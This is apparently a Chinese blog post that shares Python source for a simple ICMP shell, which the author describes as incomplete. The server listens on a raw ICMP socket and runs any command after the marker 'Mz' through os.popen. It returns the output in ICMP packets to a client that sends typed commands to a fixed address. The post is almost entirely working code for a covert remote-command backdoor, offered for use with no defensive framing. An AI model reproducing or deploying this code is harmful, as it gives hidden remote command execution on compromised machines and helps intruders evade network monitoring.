python | 一个简单的icmp shell实现(不完善)

python | 一个简单的icmp shell实现(不完善)

一个是server端,一个是cilent端,其实问题还是很多的,尤其是在真实网络中的时候,这个shell只适用于直连的情况,并且data不能太大(因为icmp的限制)
如果之后有空的话,可能会完善一下,目标是尽量建立在不需要更改系统配置的情况下去完成(但是由于NAT存在所以还是挺困难的,哎)

server:

import struct
import socket
import os
import array

def inCksum(packet):
    if len(packet) & 1:
        packet = packet + b'\0'
    words = array.array('h', packet)
    sum = 0
    for word in words:
        sum += (word & 0xffff)
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    return (~sum) & 0xffff
   
def get_icmp_pack(data):
	header = struct.pack('bbHHh', 8, 0, 0, 12345, 0)  # 创建头部
	data = data.encode('utf-8')
	packet = header + data
	chkSum = inCksum(packet)
	header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
	icmp_pack = header + data
	return icmp_pack
    
# 建立一个icmp服务器并循环监听
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
s.bind(("0.0.0.0", 0))

while True:
	# 接收的问题解决了,问题是如何回显呢
	recv_packet, addr = s.recvfrom(1024)
	# linux上和windows上收到的包好像不太一样md
	if b'Mz' in recv_packet:
		print(f"收到来自: {addr}")
		type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息
		print("头部信息:", type, code, checksum, packet_ID, sequence)
		data = recv_packet[recv_packet.index(b'Mz')+2:]
		print("收到数据:",end='')
		print(data)
		# 执行命令
		ret = os.popen(data.decode()).read()
		print(ret)
		_pack = get_icmp_pack(ret)
		s.sendto(_pack, addr)
	

cilent:

import array
import socket
import struct
import time


def inCksum(packet):
    if len(packet) & 1:
        packet = packet + b'\0'
    words = array.array('h', packet)
    sum = 0
    for word in words:
        sum += (word & 0xffff)
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    return (~sum) & 0xffff


def get_icmp_pack(data):
	header = struct.pack('bbHHh', 8, 0, 0, 12345, 0)  # 创建头部
	data = b"Mz"+data.encode('utf-8')
	packet = header + data
	chkSum = inCksum(packet)
	header = struct.pack('bbHHh', 8, 0, chkSum, 12345, 0)
	icmp_pack = header + data
	return icmp_pack
	
while 1:
	cmd = input("$ ")
	icmp_pack = get_icmp_pack(cmd)
	Sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
	Sock.sendto(icmp_pack , ("192.168.56.1", 0))

	recv_packet, addr = Sock.recvfrom(1024)
	type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息

	# 第一次的回包是系统回的
	# print("头部信息:", type, code, checksum, packet_ID, sequence)
	data = recv_packet[28:]
	# print(data)

	recv_packet, addr = Sock.recvfrom(1024)
	type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", recv_packet[20:28])  # 前20个字节为ip头部信息,后8位为icmp头部信息

	# print("头部信息:", type, code, checksum, packet_ID, sequence)
	data = recv_packet[28:]
	print(data)

posted @ 2022-12-03 10:46  Mz1  阅读(78)  评论(0编辑  收藏  举报